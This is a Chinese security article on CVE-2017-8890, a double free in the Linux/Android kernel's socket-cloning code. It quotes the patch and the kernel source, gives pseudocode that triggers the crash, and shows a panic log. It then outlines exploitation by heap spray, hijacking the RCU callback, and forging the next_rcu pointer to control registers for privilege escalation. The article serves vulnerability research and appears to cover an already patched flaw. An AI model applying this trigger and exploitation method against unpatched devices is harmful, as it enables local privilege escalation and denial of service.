*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
*本文原创作者:Mzi of SecRet-Team @云图信安,本文属FreeBuf原创奖励计划,未经许可禁止转载
漏洞简介
cve.mitre.org 网站给出的信息如下:
The inet_csk_clone_lock function in net/ipv4/inet_connection_sock.c in the Linux kernel through 4.10.15 allows attackers to cause a denial of service (double free) or possibly have unspecified other impact by leveraging use of the accept system call.
通过漏洞信息,可以知道这个漏洞影响范围非常广,包括Linux Kernel 4.10.15之前的所有内核版本。
这个漏洞同时存在于Android Kernel中,在实际测试中,不需要任何权限即可造成double free
导致系统崩溃。
漏洞补丁如下所示:
-rw-r--r-- net/ipv4/inet_connection_sock.c 2
1 files changed, 2 insertions, 0 deletions
diff --git a/net/ipv4/inet_connection_sock.c b/net/ipv4/inet_connection_sock.c
index 5e313c1..1054d33 100644
--- a/net/ipv4/inet_connection_sock.c
+++ b/net/ipv4/inet_connection_sock.c
@@ -794,6 +794,8 @@ struct sock *inet_csk_clone_lock(const struct sock *sk,
/* listeners have SOCK_RCU_FREE, not the children */
sock_reset_flag(newsk, SOCK_RCU_FREE);
+ inet_sk(newsk)->mc_list = NULL;
+
newsk->sk_mark = inet_rsk(req)->ir_mark;
atomic64_set(&newsk->sk_cookie,
atomic64_read(&inet_rsk(req)->ir_cookie));
补丁日期为2017-05-09,因此在该日起之前的所有Android设备,都会受到这个漏洞的影响。
漏洞复现
通过分析漏洞补丁函数inet_csk_clone_lock
,整理出该函数的调用链如下图所示:
最终的调用源头为tcp_v4_rcv
,该函数用于处理tcp三次握手的数据包,在三次握手完成真正连接建立时,会创建新的 socket对象,因此问题出现在创建新socket的过程,代码如下所示:
struct sock *inet_csk_clone_lock(const struct sock *sk,
const struct request_sock *req,
const gfp_t priority)
{
struct sock *newsk = sk_clone_lock(sk, priority);
if (newsk) {
// ...
// cve-2017-8890 patch
// inet_sk(newsk)->mc_list = NULL;
// ...
}
// ...
}
struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority)
{
newsk = sk_prot_alloc(sk->sk_prot, priority, sk->sk_family);
if (newsk != NULL) {
sock_copy(newsk, sk);
// newsk init...
}
return newsk;
}
static void sock_copy(struct sock *nsk, const struct sock *osk)
{
#ifdef CONFIG_SECURITY_NETWORK
void *sptr = nsk->sk_security;
#endif
memcpy(nsk, osk, offsetof(struct sock, sk_dontcopy_begin));
memcpy(&nsk->sk_dontcopy_end, &osk->sk_dontcopy_end,
osk->sk_prot->obj_size - offsetof(struct sock, sk_dontcopy_end));
#ifdef CONFIG_SECURITY_NETWORK
nsk->sk_security = sptr;
security_sk_clone(osk, nsk);
#endif
}
最后生成的新socket,在该对象初始化之前,先调用了sock_copy
函数将父socket数据拷贝过来,生成一个父sock的副本,并且在后边的初始化过程中,没有将mc_list对象初始化,因此造成了父mc_list对象被新的socket对象引用的结果,如果创建多次,也会被引用多次,最后对mc_list对象也会进行多次释放。
下边问题就是如何创建一个带有mc_list对象的socket。查看源码中所有对mc_list的引用,最后的调用来源如下图所示:
ip_mc_join_group函数用于将socket加入到多播组,该函数的调用接口为ip_setsockopt
。
该漏洞类型为double free,必然伴随着可多次释放该对象,创建mc_list对象流程有了,再看下该对象的释放流程,如下图所示:
最终可复现该漏洞,伪代码如下所示:
sockfd = socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP);
setsockopt(server_sockfd, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof(group);
accept_sockfd1 = accept(sockfd, (struct sockaddr*)&accept1_si, sizeof(accept1_si));
accept_sockfd2 = accept(sockfd, (struct sockaddr*)&accept2_si, sizeof(accept2_si));
// first free
close(accept_sockfd1);
// second free
close(accept_sockfd2);
崩溃信息如下所示:
35890.702474] ------------[ cut here ]------------
[35890.702509] kernel BUG at /usr/local/google/buildbot/src/partner-android/n-dev-msm-angler-3.10-nyc-mr2/private/msm-huawei/mm/slub.c:3364!
[35890.702518] Internal error: Oops - BUG: 0 [#1] PREEMPT SMP
[35890.702539] CPU: 0 PID: 8 Comm: rcuc/0 Not tainted 3.10.73-g5b0be8f02fe #1
[35890.702548] task: ffffffc00e9a4b40 ti: ffffffc00e9dc000 task.ti: ffffffc00e9dc000
[35890.702576] PC is at kfree+0xe8/0x1e0
[35890.702594] LR is at rcu_do_batch.isra.35+0x118/0x2b4
[35890.702602] pc : [<ffffffc00030240c>] lr : [<ffffffc000299ab8>] pstate: 40000145
[35890.702608] sp : ffffffc00e9dfc90
[35890.702615] x29: ffffffc00e9dfc90 x28: 00000000000005d7
[35890.702630] x27: ffffffc000ce5000 x26: ffffffc03bffd220
[35890.702641] x25: ffffffc03bffd120 x24: ffffffc00e9dc000
[35890.702653] x23: ffffffc00177f618 x22: ffffffc000299ab8
[35890.702665] x21: ffffffc00160fba8 x20: ffffffc03bffd740
[35890.702677] x19: ffffffbc00efff40 x18: 0000000000000000
[35890.702687] x17: 0000000000000000 x16: 0000000000000001
[35890.702699] x15: 0000000000000000 x14: 0ffffffffffffffe
[35890.702711] x13: 0000000000000030 x12: 0101010101010101
[35890.702722] x11: 7f7f7f7f7f7f7f7f x10: feff676273687672
[35890.702734] x9 : 0000000000000040 x8 : ffffffc0c531be00
[35890.702745] x7 : 00000000000003be x6 : 0000000000000004
[35890.702756] x5 : 0000000000000008 x4 : 0000000000000000
[35890.702767] x3 : ffffffc0c1192450 x2 : 0000000000000000
[35890.702778] x1 : 0000000000efff40 x0 : 0000000000000000
[35890.702792]
[35890.702792] PC: 0xffffffc00030230c:
[35890.702798] 2308 14000002b9805001 aa0103e0b9801801 a8c27bfdf9400bf3 a9bb7bfdd65f03c0 a90153f3910003fd d0004f20aa0003f4 a90363f7a9025bf5 aa1e03f6f9420400
[35890.702835] 2348 b9400801a9046bf9 910003e1340002a1 b94052629272c433 b900526211000442 b4000115f9401015 aa1603e1f94002a3 aa1403e2f94006a0 f8410ea0d63f0060
[35890.702869] 2388 b9405260b5ffff40 b900526051000400 36080040f9400260 f100429f94277066 90004f4054000a29 f9419c00d2c00801 8b010001f9400000 8b140021d2dff780
[35890.702901] 23c8 d34cfc21f2ffffe0 8b000033d37ae421 367800e2f8606822 d50339bff9401a62 d34f3c00f8606820 9a9310536b1f001f 37380180f9400260 f272041ff9400260
[35890.702933] 2408 e7f001f254000041 d34e3821f9400261 b9406a6134000041 97ff36aeaa1303e0 910003e014000031 9272c416f9401a78 97fd434352800020 d538d099f9400317
[35890.702965] 2448 f94007558b17033a 97fd437152800020 36080040f94002c0 f9400b4094277036 54000381eb00027f f8776b21b9802300 d53b4224f8206a81 f9400301d50342df
[35890.702998] 2488 d538d08252800003 f8776b25aa0103e0 eb0500dff8606846 9100202154000181 eb15003ff8616841 f820685454000101 d538d080910022b5 52800023f9400301
[35890.703032] 24c8 f821681591002021 350000c3d51b4224 aa1803e017ffffd8 aa1403e2aa1303e1 a94153f397fffadd a94363f7a9425bf5 a8c57bfda9446bf9 a9bc7bfdd65f03c0
[35890.703065] 2508 a9025bf5910003fd a90153f39000b1b6 b94892d5a90363f7 35000155aa0003f3 d2818000f9400401 ea00003ff2a01520 f9402660540000a1 b9404660b5000060
[35890.703100]
[35890.703100] LR: 0xffffffc0002999b8:
[35890.703106] 99b8 9100a034a90573fb eb02029ff9401822 b400136254001380 aa0003f7aa0103f3 d50342dfd53b4236 900052629406f50e 1ac10c0152800801 937d7c21f945a842
[35890.703139] 99f8 f8616841f9400042 370001609ac02420 913836b5d0009eb5 350000e039401aa0 52810161b0007320 97fe1bc8911ac000 39001aa052800020 f9405a60f9401a61
[35890.703171] 9a38 f9400022f90037a0 f9001662f9401660 91012261f900003f f9400023f9401a79 eb02007ff9401a62 f900003454000041 eb14003fd1002021 d51b423654ffff21
[35890.703203] 9a78 910003e1d2800016 9272c438aa1603fc d0009bb59000527b b40003c0912ea2b5 f9800340f940001a f13ffc5ff9400402 cb020000540000a8 9401a21c910006d6
[35890.703236] 9ab8 d63f004014000002 9100079cf94037a0 5400006aeb00039f 17fffff0aa1a03e0 370801a0f9400300 b9433000f9400b00 9406f4cb34ffff40 f8605840f9450362
[35890.703268] 9af8 f9400b00f8756802 54fffe60eb00005f aa0003fa14000002 d50342dfd53b4238 d5033bbfb500023a f9405a61f9403a60 f9403e60cb160016 cb1c0000f9003a76
[35890.703300] 9b38 f9404660f9003e60 92f000008b1c001c f900467ceb00003f 540002a1f9403e61 f94016601400000d f900032091014261 f900167a9100c260 eb02029ff9400002
[35890.703333] 9b78 f800841954fffd21 54ffff61eb01001f 90009c6017ffffe5 f940080091004002 5400006ceb00003f f9005a60f9400440 b50000c1f9404260 f9004261b40000a0
[35890.703366]
[35890.703366] SP: 0xffffffc00e9dfb90:
[35890.703372] fb90 0000000000000000 0000000000000008 0000000000000004 00000000000003be ffffffc0c531be00 0000000000000040 feff676273687672 7f7f7f7f7f7f7f7f
[35890.703403] fbd0 0101010101010101 0000000000000030 0ffffffffffffffe 0000000000000000 0000000000000001 0000000000000000 0000000000000000 ffffffbc00efff40
[35890.703436] fc10 ffffffc03bffd740 ffffffc00160fba8 ffffffc000299ab8 ffffffc00177f618 ffffffc00e9dc000 ffffffc03bffd120 ffffffc03bffd220 ffffffc000ce5000
[35890.703470] fc50 00000000000005d7 ffffffc00e9dfc90 ffffffc000299ab8 ffffffc00e9dfc90 ffffffc00030240c 0000000040000145 ffffffc00e9dfc90 ffffffc000302458
[35890.703503] fc90 ffffffc00e9dfce0 ffffffc000299ab8 ffffffc0c118cbb0 ffffffc0c118cbd8 ffffffc00160fba8 00000000000005ca ffffffc00177f618 ffffffc00e9dc000
[35890.703535] fcd0 ffffffc03bffd120 ffffffc03bffd220 ffffffc00e9dfd50 ffffffc000299e00 ffffffc00160fda0 ffffffc000ce6000 ffffffc0c118cd98 ffffffc00e9dc000
[35890.703567] fd10 00000000bfb7d000 000000000000000a ffffffc001935438 ffffffc000ce6000 0000000000000001 ffffffc000ce6000 ffffffc0c118cd98 7fffffffffffffff
[35890.703599] fd50 ffffffc00e9dfde0 ffffffc00024baf0 ffffffc00e96d2c0 ffffffc00e9dc000 ffffffc0016efee8 0000000000000001 0000000000000001 0000000000000002
[35890.703632]
[35890.703639] Process rcuc/0 (pid: 8, stack limit = 0xffffffc00e9dc058)
[35890.703647] Call trace:
[35890.703658] [<ffffffc00030240c>] kfree+0xe8/0x1e0
[35890.703667] [<ffffffc000299ab4>] rcu_do_batch.isra.35+0x114/0x2b4
[35890.703674] [<ffffffc000299dfc>] rcu_cpu_kthread+0x1a8/0x308
[35890.703688] [<ffffffc00024baec>] smpboot_thread_fn+0x1dc/0x208
[35890.703703] [<ffffffc000243e7c>] kthread+0xc0/0xcc
[35890.703713] Code: 37380180 f9400260 f272041f 54000041 (e7f001f2)
[35890.703724] ---[ end trace bc62c72cba08ddfd ]---
[35890.723573] Kernel panic - not syncing: Fatal exception in interrupt
[35890.723810] CPU1: stopping
漏洞利用
劫持EIP
该漏洞的利用思路比较简单直接,在第二次释放之前通过堆喷占位即可。
mc_list对象申请通过slab分配器分配,代码如下:
int ip_mc_join_group(struct sock *sk, struct ip_mreqn *imr)
{
// ...
iml = sock_kmalloc(sk, sizeof(*iml), GFP_KERNEL);
// ...
}
对应汇编代码:
ROM:FFFFFFC000BABD6C loc_FFFFFFC000BABD6C ; CODE XREF: ip_mc_join_group+98j
ROM:FFFFFFC000BABD6C MOV X0, X20
ROM:FFFFFFC000BABD70 MOV W1, #0x30
ROM:FFFFFFC000BABD74 MOV W2, #0xD0
ROM:FFFFFFC000BABD78 BL sock_kmalloc
可知,该对象大小为0x30,位于slab-64,所以堆喷64字节数据即可。
堆喷占位后,我们需要劫持eip,因此需要能够占位到对象中的函数指针,mc_list结构体如下所示:
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
};
#define rcu_head callback_head
struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode;
struct ip_sf_socklist __rcu *sflist;
struct rcu_head rcu;
};
该结构体中存在一个回调函数func,因此将该函数指针覆盖即可劫持eip。该回调函数func的处理流程位于对象释放过程:
void ip_mc_drop_socket(struct sock *sk)
{
// ...
if (!inet->mc_list)
return;
rtnl_lock();
while ((iml = rtnl_dereference(inet->mc_list)) != NULL) {
// ...
kfree_rcu(iml, rcu);
}
rtnl_unlock();
}
该函数获取到mc_list对象后,最后调用kfree_rcu
,该函数并不是真正的释放该对象,而是调用call_rcu将要删除的对象保存起来,并标记或者开始一个宽限期,等到cpu宽限期结束,会触发一个RCU软中断,再进行释放,如果有回调函数func,则进行回调函数处理流程,整个函数调用逻辑为:
kfree_rcu -> ... -> call_rcu -> ... -> invoke_rcu_core -> RCU_SOFTIRQ -> rcu_process_callbacks -> ... __rcu_reclaim
最后的释放代码如下所示:
#define __is_kfree_rcu_offset(offset) ((offset) < 4096)
static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)
{
unsigned long offset = (unsigned long)head->func;
rcu_lock_acquire(&rcu_callback_map);
// 是否存在回调函数
if (__is_kfree_rcu_offset(offset)) {
RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));
kfree((void *)head - offset);
rcu_lock_release(&rcu_callback_map);
return true;
} else {
RCU_TRACE(trace_rcu_invoke_callback(rn, head));
head->func(head);
rcu_lock_release(&rcu_callback_map);
return false;
}
}
对应的汇编代码:
如果不存在回调函数,func会被设置成该成员在对象中的偏移,也就是0x20,当func值大于4096即可触发到回调函数流程,即劫持eip。
最终漏洞利用示意图如下所示:
劫持eip的崩溃信息如图所示:
虽然劫持了eip,按照早期的安卓提权思路,直接ret2user即可完成提权操作,然而早已经加入了PXN保护,需要构造JOP来绕过,但是构造JOP需要至少控制一个寄存器,而回调函数执行后的参数为head,即为ip_mc_socklist.rcu地址,该地址为一个内核地址,数据并不可控,从崩溃信息x0寄存器的值也证实了这一点,置此,该漏洞还无法有效利用。
控制寄存器数据
通过对mc_list释放流程的深入研究,最终发现在ip_mc_socklist结构体中,有另外一个很重要的指针变量next_rcu
,在内核中,该指针指向下一个ip_mc_socklist对象,并且在ip_mc_drop_socket
函数释放流程,会循环遍历该链表,直到next_rcu == NULL,部分代码如下所示:
void ip_mc_drop_socket(struct sock *sk)
{
rtnl_lock();
while ((iml = rtnl_dereference(inet->mc_list)) != NULL) {
inet->mc_list = iml->next_rcu;
kfree_rcu(iml, rcu);
}
rtnl_unlock();
}
因此,我们可以在用户态伪造一个ip_mc_socklist对象fake_iml,然后通过堆喷占位,使第一次被释放的ip_mc_socklist.next_rcu = fake_iml,当内核在处理我们的fake_iml时,最后调用的fun(head)都是我们可控的,且head指向的是用户空间,因此可以达到控制x0寄存器的目的,最终利用示意图如下所示:
控制了eip和x0寄存器,就可以构造JOP进行后续的提权操作,流程比较固定,暂不细讲,最终漏洞利用如下图,测试手机为 Nexus6P 7.12
参考
Multicast technologies on TCP/IP networks
*本文原创作者:Mzi of SecRet-Team @云图信安,本文属FreeBuf原创奖励计划,未经许可禁止转载